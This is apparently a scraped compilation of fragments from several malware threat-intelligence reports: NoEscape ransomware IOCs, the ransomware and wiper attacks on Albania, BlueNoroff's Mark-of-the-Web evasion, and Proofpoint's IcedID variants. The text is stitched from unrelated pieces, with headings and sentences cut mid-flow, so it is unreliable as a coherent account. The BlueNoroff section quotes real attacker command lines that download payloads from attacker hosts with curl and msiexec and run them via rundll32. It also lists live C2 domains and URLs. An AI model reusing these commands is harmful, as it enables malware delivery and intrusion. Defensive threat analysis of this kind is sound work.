Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers.


We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile Refrain from opening untrusted links and email attachments without verifying their authenticity Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network Disconnect external storage devices if connected Inspect system logs for suspicious events Impact of Ransomware Loss of valuable data Loss of the organization’s reputation and integrity Loss of the organization’s sensitive business information Disruption in organization operation Financial loss MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionPersistenceT1547.001 Registry Run Keys / Startup FolderDiscoveryT1083File and Directory DiscoveryDefense EvasionT1070 T1562Indicator Removal Impair DefensesImpactT1486 T1490Data encrypted for impact Inhibit System RecoveryIndicators of Compromise (IOCs) Indicators Indicator Type Description 65f35ae4203cf5041a0aaa358dd3d74c ea1f7940271fc80d06b2f222506020b650ad41bc 68e5caa3f0fd4adc595b1163bf0dd30ca621c5d7a6ad0a20dfa1968346daa3c8MD5

Evasive NoEscape Ransomware Uses Reflective DLL Injection


SHA1 SHA2561ce30fbd_dll.dll9ea0d4448472cdeeb290e8006e8b1e9b 30f71a24c15dd81965b12996a79d914acf4f169e 2cd1ca52a5d404176f0ec7debeceb4ba3c95b139061f86ac971195b02d854b0cMD5


SHA1 SHA25606b91e4a_exe.exebd69a645fa69fd8d5ba56b9c3f468711 12dc0a2de3ad30201107bfcb679de5acacf31e5c 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8MD5 SHA1 SHA25623cd1f01_exe.exec850f6816459e3364b2a54239642101b


30c60f18279ed5fd36e3ac2d3ba5ddbdc5d1f624 21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6daMD5 SHA1 SHA256164f8295_linux.elf473d65d1231ccdfa0099d463b09cf9b9 9cbc7417fa5ce2f6d87026337fc7892e4f485819 07c70968c66c93b6d6c9a90255e1c81a3b385632c83f53f69534b3f55212ced9MD5


SHA1 SHA256bd83e75f_dllreflinj.dll47ae17d89c2d9b6acdc7458f5df1c6f7 d38c613020cb4616783c8535380e28404f7eaebf 9d346518330eeefbf288aeca7b2b6243bc158415c7fee3f2c19694f0e5f7d51cMD5


SHA1 SHA256ca3ec998_xp.exe34de9725e232ba82275bb0dcf9282e16 b17403e7dcb992ba8d2b56dd843406264d3910e5 aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58MD5


SHA1 SHA256script_esxi.sh17d55dc09e2a3f10d4ee45156c2c53f1 317f296131b37a73c9a5d253015821dfdc8b1190 16d9e969457a76874e7452e687a7b6843c65ef75d1a4404d369074ad389f6c38MD5 SHA1 SHA256script_linux.sh


Introduction On July 17, 2022, Albanian news outlets reported a massive cyberattack that affected Albanian government e-services.

Stolen certificates in two waves of ransomware and wiper attacks


A few weeks later, it was revealed that the cyberattacks were part of a coordinated effort likely intended to cripple the country’s computer systems.


On September 10, 2022, Albanian local news reported a second wave of cyberattacks targeting Albania’s TIMS, ADAM and MEMEX systems – the latter two systems critical for law enforcement – reportedly using the same attack type and by the same actors.


Around the same time, we identified ransomware and wiper malware samples resembling those used in the first wave, though with a few interesting modifications that likely allowed evasion of security controls and better attack speeds.


Chief among those changes are the embedding of a raw disk driver, providing direct hard disk access inside the malware itself, modified metadata, and the use of Nvidia’s leaked code signing certificate to sign the malware.


So, what’s new in this blogpost?


We compare the first and second waves of ransomware and wiper malware used to target Albanian entities and detail connections with previously known ROADSWEEP ransomware and ZEROCLEARE variants.


The changes implemented to automate and speed up wiping in the second wave of attacks are reminiscent of the notorious Shamoon wiper attacks in the Middle East.


Wiper and ransomware, comparing wave 1 and wave 2 Below, we compare and discuss the differences between the wave 1 and wave 2 ransomware and wiper malware.


Initial Infection – traces of cooperation between different attack groups and use of AnyDesk utility


Although we weren’t able to identify the initial entry point of the threat actor in the analyzed intrusion, a few days after the second wave wiping activities, we noticed underground chatter about someone having access to an AnyDesk account at another non-governmental but significant Albanian entity, and suggestions for Persian-speaking hackers to use it for deploying ransomware or wiper malware.


This may increase the likelihood that the initial entry point for wave 2 is through legitimate remote access software such as AnyDesk, especially since we know that the wave 2 wiper modifications included automatic execution upon driver installation only – potential need for urgency due to the limited time/access window.


The ransomware – use of Kuwait Telecommunications Company signing certificate MD5 96eabcc77a6734ea8587599685fbf1b4 SHA1 6a36962709abbfc1f88f87e7fe88a417302bfe43 SHA256 8ad01b028e6aa711d26879d346a7bef82516e372e0f14e8e69db6aef0f25d992 Imphash 653ee44c85bc91d12ec33dfed8056c27 Link time Wed Jul 06 21:30:41 2016 File type 32-bit executable Compiler MinGW-w32 gcc File size 45.48 KB File name PdftoDoc.exe This second wave sample has the same signing certificate parameters as the first wave sample, which is related to Kuwait Telecommunications Company.


It’s unclear how the threat actor was able to sign its malware using Kuwait Telecommunications Company’s certificate, but we suspect it was stolen.


As of the date of this publication, the certificate is no longer valid and has been revoked.


After the initial execution, the wave 2 ransomware checks for any six arguments (or more) supplied by the threat actor, as opposed to the wave 1 sample that checks for five arguments or more – a small modification that assists in defense evasion.


Nevertheless, the intrusion analysis conducted on one of the affected machines indicates that in wave 2 the threat actor did not use a BAT file to invoke the ransomware while supplying seven digits similar to wave 1, but instead invoked the wave 2 ransomware immediately from the command line using six zeroes: “000000”.


During the process of execution, wave 2 ransomware attempts to decrypt and execute embedded scripts, malware settings or API function names.


The intrusion we analyzed in wave 2 indicates that the ransomware was probably deployed over the internal network, possibly from another compromised machine.


This is reinforced by the fact that we didn’t see anything else dropped or executed before the ransomware execution, and the ransomware executable name was randomly generated, potentially by the tool the threat actor used to deploy it over the network (e.g., Mellona.exe).


Despite all the changes made in the wave 2 ransomware, the ransom notes remained the same and included political messaging that reflects the geopolitical tensions between Albania and Iran.


File type PE 64-bit Compiler Microsoft Visual C/C++ File size 174.00 KB File name DiskSnapshot.exe Driver PDB path c:\projects\rawdisk\bin\wnet\fre\amd64\rawdsk3.pdb Driver key B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D Similar to the wave 2 ransomware sample, the threat actor made several modifications to the wave 2 wiper malware, probably to evade detection.


The three main changes are: Modified malware signing Embedding of EldoS RawDisk driver inside the wiper malware Automatic wiping after driver installation command Historically, in ZEROCLEARE and DUSTMAN incidents from 2019, the wiper malware and raw disk drivers were not signed and therefore could not directly access the raw disk for speedy data wiping.


So, the wipers had to use a third-party loader such as TDL – a signed loader for unsigned drivers – to install the unsigned raw disk driver that allows the wiper malware to directly access the raw disk for wiping data using DeviceControl API methods.


The speed and automation improvements remind us of previous Shamoon operations in the Middle East.


Since the wave 1 wipers were exposed in July 2022, and likely to avoid static detections, the threat actor used Nvidia’s leaked signing certificate to sign the wave 2 wiper in September 2022, again eliminating the need for a third-party loader for the raw disk driver.


Conversely, in wave 2 the threat actor embedded the signed raw disk driver in the wiper executable, dropped it and then installed it.


The wiping activity starts automatically after the driver installation command; as opposed to the wave 1 wiper, where installation is one step and wiping execution is a second step.


It’s worth noting that the method IOCTL_DISK_GET_LENGTH_INFO is exclusive to all Persian-speaking APT wipers.


Wave 1 wiper DeviceControl API methods: IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Wave 2 wiper DeviceControl API methods: IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS (new method in wave 2; used in multiple instances) IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Based on our telemetry, we suspect the infections are associated with law enforcement institutions in Albania.


This targeting is consistent with the previous wave of cyberattacks affecting the Albanian government during the July 2022 wave of cyberattacks.


Conclusions In this publication, we discussed the changes made to the second wave of ransomware and wiper samples that targeted Albanian institutions to evade detection and inflict maximum damage.


Aside from the changes made to evade detection in wave 2, we suspect that the threat actors needed an automated and speedy wiper execution.


In wave 2, the raw disk driver was embedded inside the malware and the wiping routine started immediately after driver installation, as opposed to the wave 1 procedure.


This is reminiscent of Shamoon operations in the Middle East.


We continue to investigate this threat using our Threat Intelligence and we will add additional detection logic once they are available.


Our products protect against this threat and detect it with the following names:


HEUR:Trojan-Ransom.


We have published technical details of how this notorious group steals cryptocurrency before.

BlueNoroff introduces new methods bypassing MoTW


The group usually takes advantage of Word documents and uses shortcut files for the initial intrusion.


However, it has recently started to adopt new methods of malware delivery.


The first new method the group adopted is aimed at evading the Mark-of-the-Web (MOTW) flag, the security measure whereby Windows displays a warning message when the user tries to open a file downloaded from the internet.


This is a common tactic used nowadays to evade MOTW, and BlueNoroff has also adopted it.


We observed a new Visual Basic Script, a previously unseen Windows Batch file, and a Windows executable.


It seems the actors behind BlueNoroff are expanding or experimenting with new file types to convey their malware efficiently.


After researching the infrastructure that was utilized, we discovered more than 70 domains used by this group, meaning they were very active until recently.


Most of the domains imitate Japanese venture capital companies, indicating that the group has an extensive interest in Japanese financial entities.


Executive summary BlueNoroff group introduced new file types to evade Mark-of-the-Web (MOTW) security measures; BleuNoroff group expanded file types and tweaked infection methods; BlueNoroff created numerous fake domains impersonating venture capital companies and banks.


After a careful investigation, we confirmed that the actor had adopted new techniques to convey the final payload.


The actor took advantage of several scripts, including Visual Basic Script and Windows Batch script.


They also started using disk image file formats, .iso


For intermediate infection, the actor introduced a downloader to fetch and spawn the next stage payload.


Although the initial intrusion methods were very different in this campaign, the final payload that we had analyzed previously was used without significant changes.


Novel infection chain Long-lasting initial infection Based on our telemetry, we observed that one victim in the UAE was attacked using a malicious Word document.


The victim received a document file named “Shamjit Client Details Form.doc” on September 2, 2022.


[redacted]\[redacted]\Signed Forms & Income Docs\Shamjit


Client Details Form.doc Judging from the file path, we can assume that the victim was an employee in the sales department responsible for signing contracts.


In this particular case, the executable ieinstal.exe was used to bypass UAC.


Remote URL: https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= Created payload path:


They then returned 18 hours later to install further malware with high privileges.


Post-exploitation Based on our telemetry, when the malicious Word document opens it fetches the next payload from the remote server: Download URL: http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= The fetched payload is supposed to be saved in %Profile%\update.dll.


rundll32.exe %Profile%\update.dll,#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ== Command #2:


rundll32.exe %Profile%\update.dll,#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=


One of the other methods the BlueNoroff group usually uses is a ZIP archive with a shortcut file.


The latest archive file (MD5 1e3df8ee796fc8a13731c6de1aed0818) discovered has a Japanese file name, 新しいボーナススケジュール.zip (Japanese for “New bonus schedule”), indicating they were interested in Japanese targets.


The main difference from the previous shortcut sample was that it fetched an additional script payload (Visual Basic Script or HTML Application); also, a different method of fetching and executing the next stage payload was adopted at this time.


The command below was executed when the victim double-clicked on the shortcut file:cmd.exe /c DeviceCredentialDeployment & echo jbusguid> %APPDATA%\Pass.txt & start %APPDATA%\Pass.txt && FOR %i IN (%systemroot%\system32\msiexec.*)


DO msiexec -c /Q /i


hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd & timeout To evade detection, the actor utilized Living Off the Land Binaries (LOLBins).


The DeviceCredentialDeployment execution is a well-known LOLBin used to hide the command’s windows.


The actor also abused the msiexe.exe file to silently launch the fetched Windows Installer file.


Recently, many threat actors have adopted image files to avoid MOTW (Mark-of-the-Web).


In a nutshell, MOTW is a mitigation technique introduced by Microsoft.


The NTFS file system marks a file downloaded from the internet, and Windows handles the file in a safe way.


For example, when a Microsoft Office file is fetched from the internet, the OS opens it in Protected View, which restricts the execution of the embedded macro.


Although it’s still under development, we mention this sample as an early warning.


This ISO image file contains one PowerPoint slide show and one Visual Basic Script.


Embedded files of ISO image The Microsoft PowerPoint file contains a link.


When the user clicks the link, it executes the 1.vbs file through the WScript process.


When we checked the VBS file, it only generated an “ok” message, which suggests BlueNoroff is still experimenting with this method.<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="wscript%201.vbs" TargetMode="External"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/></Relationships> Based on our other findings, we discovered an in-the-wild sample (MD5 a17e9fc78706431ffc8b3085380fe29f) from VirusTotal.


The virtual disk file contains a decoy PDF file, Windows executable file, and an encrypted Dump.bin file.


The PDF and executable files have numerous spaces before the file extension to hide it and allay suspicions.


Files inside VHD a file The Job_Description[spaces].exe file (MD5 931d0969654af3f77fc1dab9e2bd66b1) is a loader that loads the next stage payload.


Upon launch, it copies the Dump.bin file to the %Templates%\war[current time][random value].bin (i.e., war166812964324445.bin).


The Dump.bin has a modified PE header.


The malware reads the first byte of Dump.bin, 0xAF in this file, and decodes 0x3E8 bytes with that key.


The decrypted data is the header of a PE file, overwriting the recovered header to the original file.


Eventually, it loads the decrypted DLL file by spawning the ordinary first export function.


The spawned downloader contains an encrypted configuration at the end of the file.


RC4 key: 46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 79 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 67 50 33 Restored URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D Structure of configuration In the case of another downloader, however, the payload URL was delivered using a command line parameter.


If the size of physical memory is less than 2,147,483,648 bytes, the malware terminates execution.


Infection flow of downloader This downloader checks for the names of the following antivirus vendors:


Sophos, Kaspersky, Avast, Avira, Bitdefender, TrendMicro, and Windows Defender.


If TrendMicro, BitDefender, or Windows Defender products are installed, the malware conducts a classic unhooking DLL trick intended to remove user-mode hooks from the system library.


This evasion technique overwrites the .text section of the pre-loaded ntdll library with the freshly loaded one so that the hooked API addresses are recovered with the original API address.


With this trick, the malware can disable the functionalities of EDR/AV products.


Mutex name: da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f Next, the malware opens a PDF decoy document in the same directory.


The decoy document masquerades as a job offer from a Japanese multinational bank.


\”[current file name]\” & attrib -s


-h \”[PDF decoy file]\” & rundll32 \”[current DLL file path]\” #1 Bitdefender: cmd /c


To do this, the malware uses the cURL library, combining cURL commands depending on the antivirus installed. Avira or Avast installed:


[payload URL(| -x proxy URL)]


-s -d da Other cases: curl -A cur1-agent -L


-s -d dl Note that the user-agent name is “cur1-agent“, and the malware sends “da” POST data if the victim installed Avira or Avast; otherwise, the malware sends “dl” POST data.


If the fetched data by cURL command contains “<html>” and “curl:”, the malware decrypts the payload with a delivered 64-byte RC4 key.


If Avira or Avast are installed, the malware saves the decrypted payload to “%TEMPLATES%\marcoor.dll” and spawns it with the rundll32.exe command with the payload URL.


command: exe %TEMPLATES%\marcoor.dll #1 [payload URL] Otherwise, the malware doesn’t write the payload to the file and injects the fetched payload into the explorer.exe process.


The fetched payload is a DLL type executable and its export function is spawned with the “payload URL”.


Unfortunately, we haven’t been able to obtain a precise infection chain so far.


From our telemetry, however, we can confirm the victim was eventually compromised by backdoor-type malware.


Based on the malware’s static information, and parts of the internal code, we assess that the final payload is still very similar to the Persistence Backdoor #2[1] we described in our previous blog.


Updated method #2: Scripts and novel downloader


Additionally, we observed the download and launch of a suspicious batch file.


The actor exploited different LOLBins.


The malware execution is done using a legitimate script, SyncAppvPublishingServer.vbs, in the system folder.


This script is for executing the PowerShell script via


a Windows scheduled task.WScript.exe "%system32%\SyncAppvPublishingServer.vbs" "n;cmd.exe '/c curl perseus.bond/Dgy_0dU08lC/hCHEdlDFGV/P89bXhClww/uiOHK5H35B/bM%3D -A cur1-agent -o %public%\regsile.bat & start /b


%public%\regsile.bat'


We also observed the context around that batch file in our telemetry.


The batch file name is “What is Blockchain.bat“.


As the file name suggests, this group still targets the blockchain industry.


We acquired the scriptlet of the batch file.xcopy /h


/y /q


How-To-Extension.pdf c:\users\public\Inproc.exe* start xcopy


/h


/q


Blockchain-old.pdf c:\users\public\rwinsta.exe* start c:\users\public\Inproc.exe "%cd%\Blockchain.pdf" The Inproc.exe is a legitimate mshta.exe file (MD5 0b4340ed812dc82ce636c00fa5c9bef2), and the rwinsta.exe is a legitimate rundll32.exe file (MD5 ef3179d498793bf4234f708d3be28633).


The Blockchain.pdf file is a malicious HTML application file spawned by the mshta.exe process.


# Create a decoy password file and open it.


timeout 10 & curl perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D -s -d md -A cur1-agent -o %documents%\macroor.dll& %documents%\macroor.dll #1 perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D Also, we observed this group introduce a new Windows executable-type downloader at this time.


This scheme, showing a password via notepad.exe, is a trick favored by the BlueNoroff group to avoid arousing the victim’s suspicion.


Usually, the password contains the password needed to open the supplied encrypted decoy document.


Simple downloader with fake password file It’s possible that the actor delivered the above Windows executable file in archive file format or disk image file format with an encrypted decoy document.


Infrastructure While carrying out this research we found several C2 servers used by the actor.


All the servers are hosted by VPS vendors as usual and several of them were resolved to the same IP address.


They also created fake domains disguised as legitimate companies in the financial industry and investment companies.


The domains, including pivoted domains, imitate venture capital names or big bank names.


Malicious domains Genuine company Category of business Country beyondnextventures.co cloud.beyondnextventures.co Beyond Next Ventures (https://beyondnextventures.com) Venture capital firm Japan smbc.ltd smbcgroup.us smbc-vc.com Sumitomo Mitsui Banking Corporation (https://www.smbc.co.jp) Japanese multinational banking and financial services Japan cloud.mufg.tokyo mufg.tokyo Mitsubishi UFJ Financial Group (https://www.mufg.jp) Bank in Japan Japan vote.anobaka.info ANOBAKA (https://anobaka.jp) Venture capital firm Japan it.zvc.capital Z Venture Capital (https://zvc.vc) Venture capital firm Japan abf-cap.co ABF Capital (https://www.abf-cap.com)


Venture capital firm Japan angelbridge.capital Angel Bridge (https://www.angelbridge.jp) Venture capital firm Japan mizuhogroup.us careers.mizuhogroup.us Mizuho Financial Group (https://www.mizuhogroup.com) Banking holding company Japan bankofamerica.tel bankofamerica.nyc bankofamerica.us.org Bank of America (https://www.bankofamerica.com) Bank and financial services holding company USA tptf.us tptf.ltd Trans-Pacific Technology Fund (https://tptf.co) Venture capital firm Taiwan Victims As we described in the section ‘Long-lasting initial infection’, we discovered that one victim in the UAE, probably a home financing company, was compromised by classic BlueNoroff group malware.


In addition, based on the domain naming and decoy documents, we assume, with low confidence, that the entities in Japan are on the radar of this group.


In one PowerPoint sample, we observed that the actor took advantage of a Japanese venture capital company.


Also, the samples we mentioned in the ‘Long-lasting initial infection’ section above were delivered to the victim with a Japanese file name, suggesting the target can read Japanese.


As we can see from our latest finding, this notorious actor has introduced slight modifications to deliver their malware.


This also suggests that attacks by this group are unlikely to decrease in the near future.


exe Malicious Virtual Disk File a17e9fc78706431ffc8b3085380fe29f Job_Description.vhd Zip file and unzipped malicious shortcut 1e3df8ee796fc8a13731c6de1aed0818 新しいボーナススケジュール.zip (New bonus schedule) 21e9ddd5753363c9a1f36240f989d3a9 Password.txt.lnk URLs hxxp://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= hxxp://avid.lno-prima[.]lol/NafqhbXR7KC/rTVCtCpxPH/kMjTqFDDNt/fiOHK5H35B/bM%3D hxxp://offerings[.]cloud/NafqhbXR7KC/rTVCtCpxPH/pdQTpFN6FC/Lhr_wXGXix/nQ%3D hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D hxxps://docs.azure-protection[.]cloud/%2BgFJKOpVX/4vRuFIaGlI/D%2BOfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://docs.azure-protection[.]cloud/+gFJKOpVX/4vRuFIaGlI/D+OfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd Pivoted IP address 152.89.247.87 172.86.121.130 104.168.174.80 MITRE ATT&CK Mapping Tactic Technique Technique name Initial Access T1566.001 T1566.002


Phishing: Spearphishing Attachment Phishing: Spearphishing Link Execution T1059.003 T1059.005 T1204.001 T1204.002 Command and Scripting Interpreter:


Windows Command Shell Command and Scripting Interpreter:


Key Findings Proofpoint is tracking new variants of IcedID used by at least three threat actors.


Initial analysis suggests this is a forked version with potentially a separate panel for managing the malware.


While much of the code base is the same, there are several key differences.


One key difference is the removal of banking functionality such as web injects and backconnect.


Proofpoint researchers hypothesize the original operators behind Emotet are using an IcedID variant with different functionality.


Overview Proofpoint researchers have observed and documented, for the first time, three distinct variants of the malware known as IcedID.


This report details the following variants of IcedID: Standard IcedID Variant – The variant most commonly observed in the threat landscape and used by a variety of threat actors.


Lite IcedID Variant – New variant observed as a follow-on payload in November Emotet infections that does not exfiltrate host data in the loader checkin and a bot with minimal functionality.


Forked IcedID Variant – New variant observed by Proofpoint researchers in February 2023 used by a small number of threat actors which also delivers the bot with minimal functionality.


It also acts as a loader for other malware, including ransomware.


As previously published, historically there has been just one version of IcedID that has remained constant since 2017.


The well-known IcedID version consists of an initial loader which contacts a Loader C2 server, downloads the standard DLL Loader, which then delivers the standard IcedID Bot.


It was dropped by the Emotet malware soon after the actor returned to the e-crime landscape after a nearly four-month break.


The IcedID Lite Loader observed in November 2022 contains a static URL to download a “Bot Pack” file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and backconnect functionality that would typically be used for banking fraud.


Starting in February 2023, Proofpoint observed the new Forked variant of IcedID.


To date, Proofpoint has uncovered seven campaigns using the Forked IcedID variant.


This variant was distributed by TA581 and one unattributed threat activity cluster which acted as initial access facilitators.


The campaigns used a variety of email attachments such as Microsoft OneNote attachments and somewhat rare to see .URL


The IcedID Forked Loader, first observed in February 2023, is more similar to the Standard IcedID Loader in that it contacts a Loader C2 server to retrieve the DLL loader and bot.


That DLL loader has similar artifacts to the Lite Loader, and also loads the Forked IcedID Bot.


The following picture shows the high-level overview of the various IcedID variants Proofpoint researchers have identified.


Figure 1: Overview of the three IcedID variants.


Proofpoint considers most of these threat actors to be initial access brokers that facilitate infections leading to ransomware.


Proofpoint continues to see all variants of the IcedID malware in campaign data, so researchers assess with high confidence that the changes detailed below are not direct upgrades to the Standard IcedID codebase.


It is likely a cluster of threat actors is using modified variants to pivot the malware away from typical banking trojan and banking fraud activity to focus on payload delivery, which likely includes prioritizing ransomware delivery.


Typically, this actor uses email themes such as “stolen images” or “copyright violation” to deliver malware.


In addition to IcedID, TA578 also frequently conducts campaigns delivering Bumblebee malware.


TA578 uses the Standard IcedID variant.


TA551 – Proofpoint has observed TA551 deliver IcedID in campaigns since November 2018.


This actor usually uses thread hijacking to typically deliver attached files including Word documents, PDFs, and recently, OneNote documents.


TA551 has used multiple malware types, with recent payloads including IcedID, SVCReady, and Ursnif.


This actor typically uses thread hijacking to deliver malware, with Qbot being TA577’s preferred payload.


However, Proofpoint has observed IcedID delivered by TA577 in six campaigns since 2022.


TA577 uses the Standard IcedID variant.


TA544 – Proofpoint observed TA544 use IcedID in limited campaigns throughout 2022.


This actor typically targets organizations in Italy and Japan, and typically delivers Ursnif malware.


TA544 uses the Standard IcedID variant.


TA581 – TA581 is a newly classified threat actor Proofpoint has tracked as an unattributed activity cluster since mid-2022.


This actor typically uses business-relevant themes such as payroll, customer information, invoice, and order receipts to deliver a variety of filetypes or URLs.


TA581 typically delivers IcedID, but has been observed using Bumblebee malware and telephone-oriented attack delivery (TOAD) payloads.


TA581 uses the Forked IcedID variant.


Campaign Details Proofpoint has only observed the IcedID Lite Loader variant delivered as a second-stage payload following Emotet infections associated with November 2022 campaigns.


This campaign began with thread hijacked emails which contained HTML attachments.


The HTML attachments used HTML Smuggling to drop a password protected, zipped Windows Script File (WSF).


The password “747” was displayed in the HTML file.


The WSF ran a VBScript which initiated a PowerShell command to download and execute an intermediate script which then downloaded and executed the Standard IcedID Loader using a non-standard export “init”.


Figure 2: Sample email using thread hijacking to deliver an HTML attachment.


HTML Attachment spoofing Office 365. Figure 4: Contents of smuggled ZIP file.


Figure 5: WSF file contents.


The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met.


alishaskainz[.]com C2: akermonixalif[.]com CommsCookie: 998075300 ProjectID: 35 URI: /news/


Update URLs: [ “hxxps://yelsopotre[.]com/news/, ”hxxps://qoipaboni[.]com/news/", hxxps://halicopnow[.]com/news/, hxxps://oilbookongestate[.]com/news/ ] Example 2: IcedID Forked Campaign Proofpoint observed a campaign with over 13,000 messages on 3 February 2023.


This campaign began with invoice-themed email lures requesting confirmation from the recipient to manage a contract.


When opened, the OneNote document instructed the recipient to "open" the document by double-clicking the button displayed in the OneNote document.


An HTML Application (HTA) file was concealed beneath the "open" text which, if clicked, executed the HTA file.


The HTA file initiated a PowerShell command used to download and execute an IcedID loader.


The IcedID loader was executed with rundll32 using a non-standard export: "PluginInit".


The PowerShell command also downloaded and opened a decoy PDF.


Figure 10: Benign PDF that appears while malicious activity is running in the background.


Example 3: IcedID Forked Campaign Proofpoint observed a campaign with over 200 messages conducted from 20 February to 23 February 2023.


attachments.


A URL file is a shortcut that points to a specific Uniform Resource Locator.


If the recipient clicked to open the .URL file, the recipient's default web browser would access the URL contained in the file.


If the .URL file was opened it would initiate the download of a batch (.bat) file.


Figure 12: Sample email using motor vehicle/seatbelt safety lure.


Figure 14: BAT (.bat) file displayed in a text editor.


C2: sanoradesert[.]com C2: steepenmount[.]com C2:


guidassembler[.]com CommsCookie: 1 ProjectID: 3971099397 URI: /news/ ] Malware analysis Before comparing the Standard Loader to the Forked Loader, it is worth covering the highlights of the IcedID Lite Loader as there is code overlap and clear similarities when compared with the Forked Loader.


For an in-depth analysis of the Lite Loader, check out Proofpoint’s previous report here.


The Lite Loader’s purpose is to download the next stage of the malware from a hardcoded domain and URI path.


The domain is decrypted from the configuration and the URI path is decrypted within the function that makes the HTTP request.


When the Lite Loader was dropped on Emotet infections, that fact made sense, since this version of IcedID was specifically being deployed on already infected machines, and there was no need to check the host information.


Figure 15: Config decryption within IcedID Lite Loader.


Figure 16: Decryption of the URI within the IcedID Lite Loader.


Considering that Proofpoint has not observed a standalone campaign of the Lite Loader in the wild, the remainder of the analysis section will compare the Standard variant to the Forked variant as well as similarities to the Lite Loader.


Loader Analysis Field Standard Loader Forked Loader Internal name loader_dll_64.dll Loader.dll FileType Standard DLL COM Server Extraneous string Contains “1.bin” Project ID Project ID differs from loader to bot Project ID is the same across loader and bot Rough size ~36KB ~48KB Botpack decryption Decryption is the same across both As far as behavior is concerned, the Forked Loader functions the same as the Standard Loader.


The goal is to send host info to the loader C2, then to gate the bot download.


This gating mechanism is to ensure that only truly infected machines get the bot binary vs researchers or malware sandboxes.


If the checks are passed, the C2 will return the encrypted bot and DLL loader which is where the real capabilities of the botnet emerge.


The differences come within the binary itself by how the code is/was structured and how they obfuscate the sample.


Both variants of the loader initiate their malicious code by creating a thread for the malware main.


Before this happens though, the Forked Loader decrypts and copies strings into global variables where they will be later used to resolve required functions.


This pattern of decrypting strings for future use will come up later in the analysis of the DLL loader.


Figure 17: String decryption of the DLL names used within the Forked Loader.


With the DLL strings decrypted, the malware then decrypts the loader configuration by taking the first 64 bytes and XORing it against the next 64 bytes.


For whatever reason, there is an extraneous “1.bin” that is appended to a string which isn’t used.


As far as Proofpoint researchers can tell, this string is not used and serves no purpose.


With the config decrypted, the malware creates the cookies that contain the host information and sends an HTTP request that will contain the encrypted bot response.


The response gets decrypted with the IcedID decryption routine, then split into the encrypted bot (being “license.dat”) and the custom DLL loader which is generally some randomly generated filename ending in .tmp.


When comparing the StartAddress function, we see the biggest difference across these two samples: Figure 21: Standard DLL Loader thread function.


Forked DLL Loader thread function.


Just like the Forked Loader, the Forked DLL Loader decrypts the DLL strings to be used later to resolve handles to the DLLs needed.


The strings are decrypted in the same algorithm where the data is split into DWORDs and XOR’d against a random key.


Figure 23: String decryption for the DLL names needed for execution.


Next, a function is called that decrypts strings that are not used at any point within the binary itself.


The function starts by creating a structure that is going to be returned at the end of the function.


This structure contains two domains and various URIs that could potentially be used to get a separate version of the bot. Figure 24: Decryption of “Lite Loader”" domains.


For all the Forked DLL Loader variants we have seen, there are two domains that are decrypted: “tourdeworldsport[.]com” and “handsinworld[.]com”.


Neither of these domains are used within the file, and at the time of this report have no relations on VirusTotal.


Looking into the “handsinworld” domain, passive DNS shows that the domain started resolving to its current IP of “193[.]37[.]69[.]107” on 12 Nov 2022.


More information on the Lite Loader and Emotet can be found in our previous report here.


The other domain “tourdeworldsport”, also started resolving to the IP “5[.]61[.]34[.]46” on 18 Nov 2022.


With the domain names decrypted, the DLL Loader decrypts 10 strings that should be URIs to be appended to the domains.


Figure 25: Decryption of “Lite Loader” filenames.


